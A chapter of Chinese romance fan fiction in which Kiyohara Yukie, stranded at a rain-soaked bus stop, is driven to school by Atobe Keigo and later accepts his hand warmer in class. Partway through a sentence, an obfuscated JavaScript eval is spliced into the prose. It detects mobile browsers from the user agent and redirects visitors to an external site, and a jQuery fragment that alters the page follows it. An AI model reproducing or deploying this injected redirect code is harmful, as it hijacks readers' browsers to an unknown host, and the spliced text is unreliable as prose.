“一大清早的困得眼睛都睁不开了,昨天晚上又在偷偷熬夜?” “没有啦,就是……就是起得太早……有些不太适应……” “你看你,之前还信誓旦旦说早起半小时去冰帝上学有什么难,这才第一天就坚持不住了。我说你待在秀知院好好的,走路几分钟就到,早上也能多睡半个小时,多方便,干什么去冰帝没事找事……” “……唔唔唔嗯嗯嗯嗯嗯嗯嗯。” 老生常谈,又来了。雪绘失去和她掰扯的力气,一边敷衍着应声,一边鼓动牙关努力大嚼特嚼,三两口吃完自己的早饭。 今天早上好大的雨,估计路上会堵车。母亲的公司和冰帝是反方向,无法开车送她上学。保险起见,她要早点去车站坐公交。 正式行课第一天,绝不能迟到。 不然会给老师和同学留下不好的印象。这是实打实的态度问题。 …… 真是怕什么偏来什么。 扣掉公交通勤时长,留给她的课前准备时间越来越稀少,但那辆公交却迟迟未至。 “怎么回事,等了十几分钟还不来,这公交车赶着殉情去了?!”周围有上班族狠狠啐了一口,小声咒骂道。 雪绘在车站下撑着伞,和焦急等待的人群挨挨靠靠挤成一团。 看一眼手机地图上的公交车轨迹。 “车辆信号已中断”这句话就像残忍的判决前导语,法槌落下前不断地敲响警钟,告示她即将犯下“迟到”大罪。 打车也打不到,软件显示排她前面的还有70多人,位置递进极缓慢。轮到她,更没戏唱。 雨越下越大,一桶一桶从天上往地面泼。 冰帝的校服是格子裙,长度只及膝。膝下套着的长裙袜,此刻被飞溅的水珠浸湿,黏黏糊糊地扒在小腿上。冰冷,刺挠,好痒。 正式行课第一天就叠加遇到两种不幸,不能不说一个“惨”字。 雪绘怅惘地仰头望天,慢吞吞举起手机,对着站牌“咔擦”拍一张照片,然后—— 发、I、N、S! 昵称:[哎呀你个死鬼]。 内容:[此时此地,焦灼的人还在焦灼,而聪明人已经开始在默默撰写《你今天怎么迟到了?!》《上课第一天你也敢迟到?!》《别以为你是交换生就有特权》等八百字声情并茂的命题小作文(黄豆,墨镜,歪嘴笑.jpg)]。 配图是她所在的车站站牌。 比起遇见困难就哭天抢地,怨天尤人地扯嗓子哀嚎,苦中作乐才是她习惯的处事倾向。当下处境已经足够悲惨,呜呜嘤嘤只会把自己的心情弄得更糟糕。 与其做那些没用的懦弱功夫,不如好好想想怎么跟第一节课的老师交待。 雪绘收好手机,开始凭空撰写八百字命题小作文,并仔细推敲一番,哪句话应该添加哪种语气,辅以哪个动作,才能蒙得皇恩大赦。 她的视线在车水洪流中航行。 忽然,普普通通的小轿车长队中,钻出一辆炫丽无比的加长款、亮紫色、整个表面像镀了层金箔一样亮光闪闪的豪车,缓缓朝她驶过来。 在公交车道之外,在她面前,那辆车停下。 车窗缓缓下摇,露出她熟悉的脸。 也是一张她意料之外的脸。 车内的迹部景吾对着她一歪头:“上车。” 啊……万万没想到。 没把公交车盼来,倒把大少爷盼来了。 清原雪绘:“???” 11.11 雪绘愣怔地站在原地。 雨伞微微向前倾斜。 一帘串起的雨珠叮叮当当落下。 雨声连绵,夹杂周围纷纷的议论声。她在嘈杂的声响中,悬隔一层烟光雾色,直愣愣地凝望着他。 恍惚间,迹部景吾似乎对她笑了一下,手肘横搭在窗边。 “多犹豫一分钟,到校时间就迟一分钟。” 他耐着性子陪她耗,挑起眉气定神闲道:“还是说,你宁愿今天第一天上课就迟到?” 而后他靠近车窗,朝她伸手一扬。 “上来。” 他平和地等候她作选择。但他不带一丝让步的姿态,毫无妥协地与她对峙,因此,他的“等候”又彰显出不容转圜的强势。 “叮铃——” 一辆电动车风驰电掣地驶过,飞溅出一片水花,差点把她吓一大跳。 雪绘回过神,蹦跳着往后退一步避开,翻转手机又看了看公交轨迹。 “车辆信号已中断”的提示,像镌刻在顽石上的书文,久久岿然不动。 一个是能马上发动,大概率不会迟到(即便迟到也有班长兼首席迹部景吾顶着)的私家车;一个是尚且不知道卡在何处,行踪捉摸不透的公交车。这两个选项孰优孰劣,一目了然。 权衡的一瞬间,雪绘做下最终决定。 她脱离还在苦苦等待公交的人群,不再成为他们中的一员,淌过水坑,小心翼翼地走向那辆吸引大部分人眼球的亮紫色轿车。 上学要紧,上学要紧。 仅剩一步之遥的距离,车门率先被人打开。 车内的人弯腰步出。 车外的人收折雨伞,准备上车。 在雪绘自己的雨伞被收拢起来,但又尚未完全进入车厢的间隙,另一把大伞及时笼罩她的头顶,不让一丝一毫的雨水淋到她身上,沾湿她的头发,打湿她的衣衫。 就着这把伞的遮挡,雪绘手脚并用,钻进车厢在后座坐稳。 轻轻“咔哒”一声,车门关闭,引擎重新启动。迹部景吾紧随其后,隔她两个身位,靠另一侧的车窗坐好。 他不紧不慢地抚平袖口上的褶皱,视线稍一偏移,落到她并拢的小腿上。 “在雨中等了很久吧,长袜都湿了,”迹部景吾问,“冷不冷?” 雪绘顺着他的目光看下去。 从脚踝至上几寸区域,白色织袜被雨浸染成水灰色。布料牢牢粘着小腿皮肤,雨水的寒气便钻入根骨间,又冷又痒。 她不愿多麻烦别人,本想假装无意地说一句“不冷”。但想了想,还是觉得应遵从最真实的生理体验,诚实回答:“挺冷的。今天这场雨下得好大。” 迹部景吾:“可以调一下暖气。” “啊,好的,”她说,“谢谢……不过,暖气按钮在……” 她前后左右寻地找暖气旋钮。 话语尾音在他探过身来时,戛然而止。 她没有得到应有的答案。 比起动嘴,迹部景吾选择亲自替她动手。 他坐得更靠近她一些,整个人绕到她身前。原来旋钮就在她手边的车把上。他俯身将她彻底包围,替她调试着暖气旋钮。 即便套一层厚实衬衫,也依然能感受到肌肉微微搏动的小臂,兀自横档在她小腹前,结实紧致,紧绷出强有力的爆发性。 那一片垂落的袖摆,像一只小鸟的喙,轻轻啄弄她的手背。 心脏感觉到一阵胀胖的,酥酥麻麻的疼痛。 她一下就定在原位,不敢动了。 好像前方横一把尖刀,锋锐的刃端已经抵上肋骨。如果一不小心越界,刀尖就会当即刺穿皮肤,狠狠刺进她的血肉。 她听见自己浅急的呼吸声,略微像是在喘。 还有另一处较重的呼吸声,和她的呼吸缠绕在一起,近在咫尺,像缓慢抚摩着她的耳垂。 缕缕暖气从她脚边的风箱送出。 不冷不烫的温度,热量刚刚好。 但她的手心、脚心却像放在炉火上爆裂地灼烧。火舌一路上舔到耳尖。她瑟缩了一下,颤颤巍巍地屏住呼吸,闭上眼调整自己的吐息。 眼不见为净,四大皆空。 她的世界终于清静了。 ——人的念头或许会自欺欺人,但生理反应永远不会背叛自己。 雪绘紧抓着衣角,在黑暗鼓噪的心跳声中盘算着想,果然她还是应付不了他。 连他的靠近她也无法招架,莫名会紧张到喘不上气。他都还没把她怎么样,一枪未放,她竟然就已经快败下阵来。 她一向自诩社交方面还算游刃有余,怎么一对上他,任何招都不好使了呢。 脸颊烫得直熏眼睛,不知道是不是气的。 算了算了,气恼也没有用,毕竟她老父亲顶头上司的公子,既然没本事哄得他服服帖帖,那就必须坚定不动摇地和他保持距离。 “你闭眼干什么?” 疑惑的语声离她远了些。迹部景吾调完暖气,重新坐回了自己的位置。 清原雪绘强作平静地睁一只眼,闭一只眼,脸微烫心微跳地胡说八道:“哦,我昨天睡得太晚,现在有点困,所以想闭目养养神。” 迹部景吾凝视她。视线在她眉眼处上下摩擦,似乎正冷酷剖开她的伪装,评判话语可信度。然后,他低沉地笑了一声,默然不语。十指交叉在交叠的腿间。 清原雪绘:“……” 她发现大少爷最近时不时莫名其妙地便要发笑。不知道到底在笑什么。 该不会是得了某种奇怪的病症吧? 下回寻个由头问问他,讲出来让她也跟着乐一乐。 拢了拢耳边乱飘的碎发,雪绘睁开另一只眼,猝不及防看见他发丝上挂着的水珠。他一偏头,水珠滚落,融进西装肩线处氤氲的水渍。 关上窗的车辆密封性好,雨飘不进来。水渍从何而来,显而易见。 她忽然想到他为她撑的那把伞。 她收伞上车时,没有淋到雨,因为有人给她撑伞。但雨在他上车时,悉数浇到了他的身上,因为没人给他撑伞。 雪绘心里有些过意不去,踌躇了一会儿,抽出几张纸递给他:“迹部君,要不……你赶紧擦一下头发和衣服吧,不然这天气着了凉,很容易感冒的。” “嗯,谢谢。” 他随意地接过纸巾糊弄两下,对湿润的雨渍并不太在意。 “对了……迹部君,我有个事情比较好奇,可以稍微询问一下吗?” “你问。” 雪绘抛出心头缭绕许久的问题:“迹部君,今天你为什么这么巧会到车站这里来呢?我以前在车站那个地方从来没见过你。” 迹部景吾瞥了她一眼,淡然道:“顺路。” 此言一出,驾驶位默默无闻的司机突然彰显出存在感,倏忽便是一个大动作。他清了清嗓子,冷不丁咳嗽三四声。像是被口水呛到,一通喀喀吭吭剧烈大喘气。 迹部景吾面无表情地扔了驾驶位一眼。 这个眼神比止咳药还管用,司机马上不咳了,目不斜视,恢复常态平平稳稳开车。 清原雪绘:“?” 顺路……不可能,绝对不可能,他在撒谎。 雪绘敏锐地觉察到漏洞。没记错的话,她此前随父亲去迹部董事家做客,沿途从未见过冰帝校园的大门。 也就是说,迹部景吾从迹部宅出发去冰帝上学,绝不可能经过她家,也不可能经过这个公交车站。所以这顺路,顺的哪门子路? 迹部景吾蹙眉,思索了片刻后才解释:“雨下得大,我常去学校的那条路太拥堵,就让司机调转了方向,绕另一条路走。我也没想到能在车站碰到你。” 这样哦……还算说得通。 否则她肯定要起疑,这么大的雨,迹部景吾还绕路来接她,吃力不讨好的,难不成是他暗自憋了什么坏水,这一趟其实另有所图。 “原来如此,”雪绘礼貌地躬身致意,“虽然只是顺手捎我一程,但还是非常感谢你,迹部君。否则我肯定就要迟到了。” “清原,你对我的这番感谢,是出自你的真心,还是只是客套?”对面人失笑着反问。 清原雪绘:“??” 非常反套路的事,他竟然在认真确认她的诚意。雪绘有些摸不着头脑,只能懵懂颔首:“当然,我是真心实意感谢你的,迹部君。” “那好,既然你都这么说了,本大爷这善事可不白干,”迹部景吾翘起唇角,愉悦道,“今天算你欠我一个人情,记一笔在你账上,以后你要还给我。” “至于这人情什么时候还,怎么还,全部都由我来定。” 清原雪绘:“……” 啊,这…… 总觉得自己给自己挖了好大一个坑。 还有,没看出来大少爷竟然是个锱铢必较的人……不,也不对。是她太狭隘。雪绘毫不留情地进行一番自我批评。她不应该,也没有道理如此刻薄地评价他。 本来做好事不求回报并非天经地义。无私奉献可以夸道德高尚,但若付出的一方要求得到对等的收益,也无可厚非。毕竟价值交换,是社会运行的基础准则。 何况她说了她是真心实意地感谢他。 如果临到头却翻脸不认,倒显得她才最虚伪,最矫情。 “……好吧,承迹部君的好意,今天是我欠了你的人情,”雪绘一脸正气凛然地颔首,“以后迹部君若有需要帮忙的地方,请尽管和我提,能做到的我一定尽力。” “那是自然,本大爷才不会跟你客气。”迹部景吾张扬地挑起眉尾。 计出万全的语气,仿佛他心中早有成算,已经谋划好要支使她干什么了。 ……不过凭大少爷自身通天的本事,应该也不存在非她不可的难题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084143|162928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。 ——雪绘忐忑地提拉了一下袜边,暗自思忖着如是想。 · 能长期服务于大家族的专职司机,多少都有些高于其他普通出租车司机的绝技傍身,可以称之为司机行业中的“人中龙凤”。雪绘今天算是见识到了,什么叫做“神仙身边全无孬种”。 大雨,路滑,时不时堵一截车。 恶劣的路况debuff叠满。 但这都不能影响神仙司机的发挥。 及时更改路线,见缝就钻,车速飙升的同时,一路还开得平平稳稳,感受不到颠簸。 她和迹部景吾到校时,教室里还没有满员,留给她们的课前时间绰绰有余。 “雪绘,快来快来。” 同桌一见到她的身影,隔着老远就冲她热情地挥手打招呼。 “今天下好大的雨,明明昨天还是大晴天呢,”等她坐下,森田开始叽叽喳喳地和她搭话,“早上出门的时候我还特别担心会迟到,都想直接和老师请一天假了。” 清原雪绘:“还好你没请假,否则今天我不就见不到你了。” 森田梨佳:“哎呀,我也舍不得你一个人孤苦伶仃,所以又支棱起来了。就算天上下刀子爬也要爬到学校来。” 清原雪绘手动比心:“谢谢你哦梨佳。不然今天我一个人也太寂寞了。” “嘻嘻。” 森田不经意碰到她的指尖,脸色大惊,一把抓住雪绘的手,往自己腿上的暖手袋中塞,“天哪!雪绘,你的手怎么这么凉。快跟我一起烤烤,免得待会上课僵得拿不了笔。” 不容人有推辞的余地,暖和的电热水袋霎时托住雪绘的手掌。 外层织就密集厚实的遮罩,隔绝了潮湿的冷气。僵到麻木的手指很快升温。指节感受到血液在血管里热腾腾地流动。 热水袋上的放置区有些小,塞了她和森田两只手。右手叠左手,显得挤挤挨挨。但她并不觉得此刻的拥挤有什么不好。唯一的、仅有的热源,她想更紧密地依赖一些。 “谢谢你,梨佳。” 雪绘在遮罩下轻轻碰了碰同桌的指节。 “你看你,又说谢谢。这样客气,不是拿我当外人么,”森田爽朗地大手一扬,继而玩闹似地佯怒道,“下次不许再提这个词了啊,不然我要生气。” 雪绘被她逗得不太顾形象地哈哈笑了两声,随后抿唇答应她以后不会再这么客气。 一阵风过去。 迹部景吾拿了水杯经过她们去接水。 一阵风过来。 迹部景吾端了水杯经过她们回座位。 细细的流风停滞时,男性屈起的粗韧指节敲了两下森田的课桌。 另一只热水袋滑到雪绘桌上。 “你们两个,一人露一只手,也不嫌冷得慌,”迹部景吾站着微倾下身,居高临下地对雪绘一扬下巴,“用我的。” 清原雪绘:“嗯?” 她和他面面相觑。 运动员训练经常会做热敷,放一两个热水袋在教室中也不算稀奇。 下一刻,几乎是下意识的反应,清原雪绘把手按在热水袋上,本能地想推拒还给他。但被迹部景吾眼疾手快地圈住手腕,一口气替她塞进他的热水袋中。 “不要这么做,清原。” “至少今天,别拒绝我。” 他的动作很强硬,用力禁锢她纤细伶仃的腕骨。声音却放得很轻,生怕惊着她似的,像薄脆易碎的琉璃,轻飘飘坠在她耳边。 她稍微挣扎几下便不动了。 手臂就这样被他抓握在掌心,不疼,力道刻意控制过,像是抓着不能轻易放开也要小心不可弄碎的珍藏品。 雪绘被迫摊开指尖,抚摸套袋上的绒毛。手掌暖绒绒的,心脏暖绒绒的,周围一切也变得暖绒绒。她沉溺入一个柔软暖和的毛茸团子里。 她恍然了好长一段时间。 再醒过神,热水袋仍完好无损地贴着自己的手掌,她才无力地意识到,自己竟然已经接受。 “……谢谢你,迹部君。”她喃喃地说。 “同样的陈词滥调,你究竟打算一天讲多少遍?嗯?” “清原,下次不许再讲。” 他这才撤回手,故意板起冷峻的脸。 蓝色的眼眸却盛满压不住的笑意。 “否则我也要生你的气了。”他说。 雪绘慢慢将另一只手从森田的热水袋中抽出。两只手都放进他给的热水袋。想不出更合适的词,她木然点头,说:“好……好。” 后退,远离他,是她随时能做到的事。 所以今天,暂且先停留在原地吧。 而且他说他还会生气。她有什么办法呢? ——雪绘愣征地看了一会手中的热水袋。然后,她长呼一口气,埋下脸,额头抵住桌面,不成器却又硬撑着理直气壮地如此说服自己。